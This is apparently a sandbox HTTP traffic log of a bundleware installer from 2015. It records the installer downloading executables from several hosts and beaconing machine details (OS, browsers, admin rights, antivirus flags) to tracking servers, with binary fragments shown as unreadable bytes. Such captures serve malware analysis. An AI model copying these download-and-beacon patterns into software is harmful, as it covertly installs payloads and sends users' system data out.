epository/0...*.H.............bW%D.2.X..U[0d..........|.BaG.Y.?.u.
<<< skipped >>>


GET /c/SetupComponents.exe HTTP/1.1
User-Agent: Microsoft Internet Explorer
Host: webprotectionfree.com
Cache-Control: no-cache


HTTP/1.1 403 Forbidden
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:24:49 GMT
Content-Type: text/html
Content-Length: 177
Connection: keep-alive
<html>..<head><title>403 Forbidden</title><
/head>..<body bgcolor="white">..<center><h1>403 F
orbidden</h1></center>..<hr><center>nginx/1.4.
6 (Ubuntu)</center>..</body>..</html>..HTTP/1.1 403 
Forbidden..Server: nginx/1.4.6 (Ubuntu)..Date: Thu, 30 Apr 2015 09:24:
49 GMT..Content-Type: text/html..Content-Length: 177..Connection: keep
-alive..<html>..<head><title>403 Forbidden</title
></head>..<body bgcolor="white">..<center><h1&
gt;403 Forbidden</h1></center>..<hr><center>ng
inx/1.4.6 (Ubuntu)</center>..</body>..</html>....



GET /MEQwQjBAMD4wPDAJBgUrDgMCGgUABBSxtDkXkBa3l3lQEfFgudSiPNvt7gQUAPkqw0GRtsnCuD5V8sCXEROgByACAwI6dg== HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: g.symcd.com


HTTP/1.1 200 OK
Server: nginx/1.4.7
Content-Type: application/ocsp-response
Content-Length: 1363
content-transfer-encoding: binary
Cache-Control: max-age=396911, public, no-transform, must-revalidate
Last-Modified: Mon, 27 Apr 2015 23:40:04 GMT
Expires: Mon, 4 May 2015 23:40:04 GMT
Date: Thu, 30 Apr 2015 09:27:12 GMT
Connection: keep-alive
0..O......H0..D.. .....0.....50..10......7).nj./P(.3.\\.;.B....2015042
7234004Z0f0d0<0... ..........9.....yP..`...<.......*.A.....>U
....... ...:v....20150427234004Z....20150504234004Z0...*.H............
....u.....}......M.....g?....m.....:.aO.. Lu.J.3..G-....Y(..\.j.C.....
:..../...dv.Y...%..s.....A,].A...~.......#bN.!..W....!5..62..=Jv....E.
..!:.%[email protected]'X'..<[email protected].).n...Y..^ .d..R.3-g.R..&.%9
....?..1\$2........ Y1...J....2;..l..X.|={F0Z....?....0...0..}0..e....
....:}0...*.H........0B1.0...U....US1.0...U....GeoTrust Inc.1.0...U...
.GeoTrust Global CA0...141201130534Z..151216130534Z02100...U...'GeoTru
st Global CA TGV OCSP Responder 30.."0...*.H.............0............
\.hpc..J.a.j-.t......F`Aw...)L.YE.2..~..-...2.Y(.".CZ.w..T..Y. syd....
.x..YE..<....lwv.:J.76>U....uF.a.|8N.. ..1p...`f.X...B>x.....
.........6..m.&...'..W.plK....[.m.V..h..lI.........?~.....>.|'....o
...A!.Pm.*.N ...<.....3...*|.x._..1..m.W<*....._S.............0.
.0...U.#..0....z.h.....d..}.}e...N0... .....0......0...U.%..0... .....
..0...U...........0...U.......0.0!..U....0...0.1.0...U....TGV-B-2830..
.*.H.............~....2!...V..0...Y....L..k....z}~a.3Y.x..dS.L...Dk$a.
..nR9_......B......m....Y....U.5....'.....<{....v&=.2].....j*.r(7..
.=..w.I...z....\.#.J.ac.....I.[.[....6.X....0...g.3d...z.i.H..f...v...
..\.....^.N..1.J<.)`Z.....4.-.E..n.E.~t....v.e.T...?. ......i..%...
.
<<< skipped >>>


GET /utility.gif?report=fdata&f=1&c=000171&i=100&n=init_start_funnel_step_name&rnd=1430385923 HTTP/1.1
Host: errors.nodedomax.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: nsbcr8gyjqzVOUDISHjG009O7E1M6i04TgusEcccpLm1SvyQVd/5U9mrsXSBA6226bZ3ItWPQ/w=
x-amz-request-id: 5A31A0273C68A7A8
Date: Thu, 30 Apr 2015 09:25:24 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:14:17 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: nsbcr8
gyjqzVOUDISHjG009O7E1M6i04TgusEcccpLm1SvyQVd/5U9mrsXSBA6226bZ3ItWPQ/w=
..x-amz-request-id: 5A31A0273C68A7A8..Date: Thu, 30 Apr 2015 09:25:24 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Wed, 01 Apr 2015 13:14:17 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....


GET /installer-error.gif?action=sesamy&app=70121&appver=0&ver=1_36_01_22&version_date=15-04-30&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=465DB06F0E764520B1B553AE7B277E5FPI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNFV6dHNtdHljMCwwYWY3OGI5NS1kMmViLTRmZDQtOTY3YS02Y2Q4YTZhMmUyMmQsIiwidW5xIjoiMGFmNzhiOTUtZDJlYi00ZmQ0LTk2N2EtNmNkOGE2YTJlMjJkIn19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&error=0&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147474944&asw4=34816&crtnm=na&procstarttime=1430385923&procruntime=2&rnd=1430385925 HTTP/1.1


Host: errors.nodedomax.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: P1YuvuNsx7zT/yL26MFeKfjrxaMzhQZOUUJTAtNC/wZL8N0SLrfVyxbJsmo9Rc2kXm1ya2qCnl8=
x-amz-request-id: FBC709BFDB61658C
Date: Thu, 30 Apr 2015 09:25:26 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:14:06 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: P1Yuvu
Nsx7zT/yL26MFeKfjrxaMzhQZOUUJTAtNC/wZL8N0SLrfVyxbJsmo9Rc2kXm1ya2qCnl8=
..x-amz-request-id: FBC709BFDB61658C..Date: Thu, 30 Apr 2015 09:25:26 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Wed, 01 Apr 2015 13:14:06 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....


GET /utility.gif?report=fdata&f=1&c=000171&i=200&n=init_end_funnel_step_name&rnd=1430385926 HTTP/1.1


Host: errors.nodedomax.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: Gsc9i/5ZRXp2fZvNyMsSN9OR7GUdNqIANXeOPuthO8Rx26dtuVceeFPJP6IYJB77/vFJ7oL1WnM=
x-amz-request-id: C09A2A57BE896617
Date: Thu, 30 Apr 2015 09:25:27 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:14:17 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=300&n=deploy_start_funnel_step_name&rnd=1430385926 HTTP/1.1


Host: errors.nodedomax.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: SN/Trs0wuL5tZIuzXsf5Yxp3yYZraSUhjJppn/ZxbK4yj3qhsjjSoQ1YTyMuyRzgqNAOROq1h7Q=
x-amz-request-id: 4CBBD146E567770F
Date: Thu, 30 Apr 2015 09:25:27 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:14:17 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: SN/Trs
0wuL5tZIuzXsf5Yxp3yYZraSUhjJppn/ZxbK4yj3qhsjjSoQ1YTyMuyRzgqNAOROq1h7Q=
..x-amz-request-id: 4CBBD146E567770F..Date: Thu, 30 Apr 2015 09:25:27 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Wed, 01 Apr 2015 13:14:17 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....


GET /utility.gif?report=fdata&f=1&c=000171&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1430385927 HTTP/1.1


Host: errors.nodedomax.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: Y1Hf44GfScZ4nmA6anEYKMnzadfleGVedire9kawdnro1uNg6yMVTCU1ks BTEWypFPA8Fa aU4=
x-amz-request-id: 00EC1F6D3C0B6DF0
Date: Thu, 30 Apr 2015 09:25:28 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:14:17 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: Y1Hf44
GfScZ4nmA6anEYKMnzadfleGVedire9kawdnro1uNg6yMVTCU1ks BTEWypFPA8Fa aU4=
..x-amz-request-id: 00EC1F6D3C0B6DF0..Date: Thu, 30 Apr 2015 09:25:28 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Wed, 01 Apr 2015 13:14:17 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....


GET /utility.gif?report=fdata&f=1&c=000171&i=500&n=deploy_notification_start_funnel_step_name&rnd=1430385927 HTTP/1.1


Host: errors.nodedomax.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: 1Hi3qfTOWWJqi5GcHNZpW752/9PmEHWkQ466Oi2798wuIgiesEki4ZT14vMFZJZhLShYSf5qr6g=
x-amz-request-id: 1E60C3D2EAA4F231
Date: Thu, 30 Apr 2015 09:25:29 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:14:17 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1430385928 HTTP/1.1


Host: errors.nodedomax.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: hZnnVN70zoyPrxA67KQ3am7RdXEaIiHU8vFe1vTOs0QVcf/2vzJFbwj0AQkxF24iDu/EAVAuX0s=
x-amz-request-id: 1F8E5CADBE39E728
Date: Thu, 30 Apr 2015 09:25:29 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:14:17 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=700&n=deploy_ch_start_funnel_step_name&rnd=1430385928 HTTP/1.1


Host: errors.nodedomax.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: aerE48gZw5/RCULjs6NsAAHf0R 5Uh06vg9uH/xtwyGKjiR1f 4RkCR2yT7tWt31uWXXyHo76hw=
x-amz-request-id: 75A68F5625E8EA49
Date: Thu, 30 Apr 2015 09:25:29 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:14:17 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=800&n=deploy_nova_start_funnel_step_name&rnd=1430385928 HTTP/1.1


Host: errors.nodedomax.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: BUs5iqAsmwC9cmkY9dRYr9TRud1re5jrQMezYkSygCNPkbgnkmtbnUBgieULvwl yUEQ8xAj7e8=
x-amz-request-id: 1BD5BF42BD63B1A7
Date: Thu, 30 Apr 2015 09:25:29 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:14:17 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=900&n=deploy_ff_start_funnel_step_name&rnd=1430385928 HTTP/1.1


Host: errors.nodedomax.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: tg2HUvXunknifYWtum5xD2quWxsazlpbT5AlQp36Gz6Z3lNMEH6mpVizNAm/SH3Ix9K6WH0yS5Q=
x-amz-request-id: A919280F30FBE5BB
Date: Thu, 30 Apr 2015 09:25:29 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:14:17 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: tg2HUv
XunknifYWtum5xD2quWxsazlpbT5AlQp36Gz6Z3lNMEH6mpVizNAm/SH3Ix9K6WH0yS5Q=
..x-amz-request-id: A919280F30FBE5BB..Date: Thu, 30 Apr 2015 09:25:29 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Wed, 01 Apr 2015 13:14:17 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....


GET /utility.gif?report=fdata&f=1&c=000171&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1430385931 HTTP/1.1


Host: errors.nodedomax.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: 4Y U1DdybADXE74d5BofuX3CS7Fl/ETiSRUySgeedkFJSclUEB5MzrvwfOYnpLs5wWIwwPpOzrA=
x-amz-request-id: 8BC3808F124434B2
Date: Thu, 30 Apr 2015 09:25:32 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:14:17 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1430385931 HTTP/1.1


Host: errors.nodedomax.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: XA799kAL1kbaqW6PcYRaQ8JVA8WWAozoQo3 wbkellUYoOREZifdGyQFE5ho90bQiN3tEIc7WL4=
x-amz-request-id: 7F775FDA85EACCC7
Date: Thu, 30 Apr 2015 09:25:32 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:14:17 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1430385931 HTTP/1.1


Host: errors.nodedomax.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: H37tbooMO78ISiKamELAY3ZvxH/KBzGXWLJi7PBgBDFgeKrRopjt vkYtI NBHNZhUJnMOv/egM=
x-amz-request-id: 94A4C0D49D662BAF
Date: Thu, 30 Apr 2015 09:25:32 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:14:17 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: H37tbo
oMO78ISiKamELAY3ZvxH/KBzGXWLJi7PBgBDFgeKrRopjt vkYtI NBHNZhUJnMOv/egM=
..x-amz-request-id: 94A4C0D49D662BAF..Date: Thu, 30 Apr 2015 09:25:32 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Wed, 01 Apr 2015 13:14:17 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....


GET /utility.gif?report=fdata&f=1&c=000171&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1430385932 HTTP/1.1


Host: errors.nodedomax.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: NS9OdYj1B iCMOnp3R65twIB7EIlAGi267jDbG/b X/8xoS0mpEG9dVEXS9GYJYR2WHOfbXNEIY=
x-amz-request-id: 7460D98A7BCF0D73
Date: Thu, 30 Apr 2015 09:25:33 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:14:17 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=10000&n=deploy_end_funnel_step_name&rnd=1430385933 HTTP/1.1


Host: errors.nodedomax.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: Lm 1eciIX5tc2cqwT8NJCm9oW4e15Au/d3S0X0VuX6oiVZBAy8CFhtExAU9plAFGn/I5sNuYFvk=
x-amz-request-id: 198A7771A19EE266
Date: Thu, 30 Apr 2015 09:25:34 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:14:17 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: Lm 1ec
iIX5tc2cqwT8NJCm9oW4e15Au/d3S0X0VuX6oiVZBAy8CFhtExAU9plAFGn/I5sNuYFvk=
..x-amz-request-id: 198A7771A19EE266..Date: Thu, 30 Apr 2015 09:25:34 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Wed, 01 Apr 2015 13:14:17 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;..



GET /sd?is=sm HTTP/1.1
Range: bytes=261628-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Fri, 01 May 2015 09:22:09 GMT
Date: Thu, 30 Apr 2015 09:22:09 GMT
Content-Range: bytes 261628-523255/523256
Content-Length: 261628
Connection: keep-alive
/9.,.....d.z$...TK......?RU..kD.M..n.r..Ol;[...`..{......_.=....5..Nc.
.r...te..C..jI..^.....k...'OM[3.rW.!).7...t...l......`7....=WK{.<Q.
...#.r. Juq..z..5....FD..:..)H...'.j...R..B...y.e...{H.:.k&...l.V.p4..
..</{[email protected].@.....>B..y....7....Q...=..(.........
.G..... ....o'...J.E%.K.;......d.....S..w.vJ......:..(^...G....Z.Y3{s.
..S..me..L...n...()..=.Y. .0.B.....EA#O.Q...O..%..;0c....?.f.>.Ry..
.h.p...<..k..x.'...[9......b...9.q-FA...4.]...SFo..=....S...z..C/..
].b.l..:..2...7_L...b...O....E.7P.tk.57.p.uL.M....q]..aF.i...f.2.z....
c.w#.."d2...*>..z...r......s..<..0...F..b.I.mjD.;.V.v....R.....@
.]c....R..U.df.....|....).>......Q....*....;C_.l.....a...i..Gt..g.n
../.Q.. 8w....b.a...N}z.-.S-3.Z..u....9*..`.8.1.!2./........o2........
j.eK..:...^...a......I...~o.i.........r...hi.*m...._......e.Y.aYF.3c.7
....;.p.*g.|O/Z.......b.........I...t..5..".np......?...U........bX`9.
....F..^...~.p5.g..?..j...F);Q..A..S..Dt.........agR.B..l......5.K...T
.....q..1.........r....&....KV.{..)j...p.3.N.~.f....i........e...C..|.
a.WE....KD.,^.hH.].*....8..)..}]y...Z.F .r...{.?*..2..#.M.Q....8#e..s1
....t...&e*..#.d.1.u.....EY.....p.W~I... .#.C.#....m..0i.vV....~...lq]
.>.[.!.....\....X.'.....l..1x...a.D....g..X..#......n...w..Y...Gya,
..v0.nH%.................x..,.`|.X..3.zo..<!9-1....2.[..Q#..K..iP..
k.....}5..1X.p7m$...py........c.b..C...U0.............G....Z>......
.}.P|k4.].....A#....Z EC.~0.,.....09.j..2.K....g....7{.0..R....i.`2...
U..;z..w....R......w.....^...g.F}.$g.:..H..}.W."..0..N]~>.."...
<<< skipped >>>


GET /pki/crl/products/MicCodSigPCA_08-31-2010.crl HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: crl.microsoft.com


HTTP/1.1 200 OK
Content-Type: application/pkix-crl
Last-Modified: Tue, 14 Apr 2015 05:02:07 GMT
Accept-Ranges: bytes
ETag: "2711f7277076d01:0"
Server: Microsoft-IIS/8.5
VTag: 279782516600000000
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
X-Powered-By: ASP.NET
Content-Length: 554
Cache-Control: max-age=900
Date: Thu, 30 Apr 2015 09:26:52 GMT
Connection: keep-alive
0..&0......0...*.H........0y1.0...U....US1.0...U....Washington1.0...U.
...Redmond1.0...U....Microsoft Corporation1#0!..U....Microsoft Code Si
gning PCA..150413163223Z..150713045223Z.a0_0...U.#..0..........X..7.3.
..L...0... .....7.........0...U......Z0... .....7......150712164223Z0.
..*.H.............WK....e.\.-.n......./......."]..E!.. //=...[....w...
 ..........#...[.l.J..f|..... .s......w...J._.......3.[..#.z....ko.I..
Q{....e.nV......F..d}..rF\H.jlH]dQ.E....x......W............j....&L. 2
.$.?...X?.#.(.....pK.v.......y..r....t......=.AW......K.G.gJD.b.HTTP/1
.1 200 OK..Content-Type: application/pkix-crl..Last-Modified: Tue, 14 
Apr 2015 05:02:07 GMT..Accept-Ranges: bytes..ETag: "2711f7277076d01:0"
..Server: Microsoft-IIS/8.5..VTag: 279782516600000000..P3P: CP="ALL IN
D DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT CO
M INT NAV ONL PHY PRE PUR UNI"..X-Powered-By: ASP.NET..Content-Length:
 554..Cache-Control: max-age=900..Date: Thu, 30 Apr 2015 09:26:52 GMT.
.Connection: keep-alive..0..&0......0...*.H........0y1.0...U....US1.0.
..U....Washington1.0...U....Redmond1.0...U....Microsoft Corporation1#0
!..U....Microsoft Code Signing PCA..150413163223Z..150713045223Z.a0_0.
..U.#..0..........X..7.3...L...0... .....7.........0...U......Z0... ..
...7......150712164223Z0...*.H.............WK....e.\.-.n......./......
."]..E!.. //=...[....w... ..........#...[.l.J..f|..... .s......w...J._
.......3.[..#.z....ko.I..Q{....e.nV......F..d}..rF\H.jlH]dQ.E....x....
..W............j....&L. 2.$.?...X?.#.(.....pK.v.......y..r....t...
<<< skipped >>>


GET /mirror/webprotectorplus/WebProtectPD.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: d3zcfo8zs4s5u.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 72922
Connection: keep-alive
Date: Thu, 30 Apr 2015 00:10:23 GMT
x-amz-version-id: ANdY88MOOlAc8xIaazAWro46EVDfW7Ru
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1427978990/atime:1427978997/ctime:1427978990
Cache-Control: max-age=3600
Last-Modified: Thu, 02 Apr 2015 12:50:25 GMT
ETag: "80764229a410305724108417115b8ce8"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 0-72921/72922
Age: 3332
X-Cache: Hit from cloudfront
Via: 1.1 457b75182c63eff39fe8e72b11b6c74d.cloudfront.net (CloudFront)
X-Amz-Cf-Id: qHHmmWBEmRz1GhjbBZSCIyo90C9iBPmGKZDyiiu2rwdWcBN_rcNHGQ==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........0.......p....@.........................
.................................................s.......... B........
...................................................................p..
.............................text...hZ.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected]...`[email protected]... B.......D...v
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...6B...Si.....VW.T.....tO.q.3.;5.6B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.6B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>


GET /app/ping.ashx?e=LU2XQ3qyK2CS/sgGHVzeUVtC1svWgR193Pumfblmu5B9EKWfiY9Pr/lWymhtcc3oSGExqW4qn7xTgtGbaWrGbzEsdSRpTTrrYOU1y/YINRFoElZvuBh0eOlCrZfCuwzSrrsQ5xaYBAZkqF79EEGZJp27RjISX6Nal8axoeNMkn46SEXCM79iefveis23DNM6naQQuHaXH0P7e7Z5lK2CBt35bH/eTc70z3EdWN1pnr9pfylRUU5oo40q0/F EacueBzJkwMj dTdu2471AoxrxxJWu/c1tu xuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJe0t1UorR32ajRt6ubd2oIqP49Qld4eEeCM6W43gx8rzXt84aO5wRExE0IRJnYGpCCben5CRJm6y2wOcF V8 PTZ 4/Q5Ucbu9u0ix3pYrA/Q== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
Host: rep.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Content-Type: image/gif
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 30 Apr 2015 09:25:18 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Thu, 30 Apr 2015 09:25:18 GMT..Content-Length: 0....
..


GET /app/ping.ashx?e=t4TV4yXs13Onb5JQEhhcuNypZYGJk9A63RDD4M2MKnlkNeKJ xgctdGdqHePycrYlEzjD3RV2P zo7anpTgKufSzmM3HEufAEaBiShDKRIV XTIrvDDxtEW8jV1AywzN93k4w4AQv cTDUJ39fApoVlzfxsZWK fZ4FuGdpApw7PCU8GQVxGgK2dgS8O/TaQhbdsE06OTTBOUDdMBQAxomYsAOzz7hm2v6mMnRFV9GiwMiHIO32t9dB/Qy8xESUT5w8NAuWYj0rx9Q7mDipg5m5EK8PnEgfsYRrkWB2O2svYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fxWwjEc sn2WUw3 YPQdUCRoUV4ogQDN/6Y BmvbybVv4uzwtb9XYh4EMcPPJxJ3O4wQ7Tcc f5SDJZDtDdEMaAv6M 3oAyd9KYJggl74H  HTTP/1.1


